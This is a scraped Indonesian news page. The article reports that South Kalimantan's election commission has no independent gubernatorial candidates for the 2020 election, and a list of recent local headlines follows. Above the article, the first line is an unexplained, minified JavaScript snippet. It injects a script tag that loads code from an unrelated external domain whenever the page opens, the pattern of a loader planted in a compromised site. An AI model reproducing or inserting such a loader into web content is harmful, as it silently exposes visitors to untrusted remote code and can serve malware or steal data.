(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

KPU Kalsel Akui Tak Ada Minat Calon Gubernur Tempuh Jalur Perseorangan


KANALKALIMANTAN.COM, BANJARMASIN – Kendati waktu pendaftaran bakal calon gubernur dan wakil gubernur Kalsel jalur perseorangan masih lama, yakni hingga 16 Februari mendatang yang ditandai dengan penyerahan dokumen, nyatanya belum ada satupun calon yang mendaftar melalui jalur non partai ini. Hal ini diakui oleh Komisioner KPU Provinsi Kalsel Hatmiati saat ditemui di kantornya, belum lama tadi.

“Ternyata sampai tanggal 16 Januari, tidak ada satupun bakal calon perseorangan ini menyerahkan mandat operator yang disampaikan kepada kami. Kita coba hubungi beberapa tim yang menghadap ke kita,” kata Hatmiati.

Hatmiati mencontohkan, tim dari Denny Indrayana berkonsultasi dan meminta KPU Provinsi Kalsel memberikan penjelasan tentang jalur persorangan. Diakuinya, hingga detik ini tidak ada satu pun tim dari Denny yang menyerahkan mandat operator untuk menjadi operator silon (sistem informasi pencalonan pemilu). Sehingga, diakui Hatmiati, bakal calon perseorangan yang diprediksi akan ikut serta pada Pilgub Kalsel 2020 masih nihil.

“Padahal kita juga berharap banyak karena bakal calon perseorangan ini kan dukungannya dari masyarakat langsung berupa KTP dan sebaran wilayah. Itu yang menjadi representasi sebenarnya dari bakal pasangan calon,” tambahnya.

Hatmiati mengatakan, usaha maksimal yang telah dilakukan pihaknya ternyata belum ada, setidaknya hingga saat ini. Kendati begitu, pihaknya masih menunggu di awal bulan Februari mendatang, apakah bakal ada calon melalui jalur perseorangan.

“Saya sering mengatakan, kalau misalnya pun, berarti tim bakal calon harus punya tenaga ekstra yang jumlah minimalnya 20, 30 atau 40 orang operator yang siap menginput data tersebut. Karena, tidak sedikit jumlah dukungan 243.880 dukungan itu untuk diinput ke silon,” paparnya. Nantinya, jumlah dukungan itu harus dicetak dan ditandatangani oleh bakal pasangan calon perseorangan. (kanalkalimantan.com/Fikri)

 

 

Reporter : Fikri
Editor : Cell

Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

3 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

4 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

4 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

5 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

5 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

5 jam ago

This website uses cookies.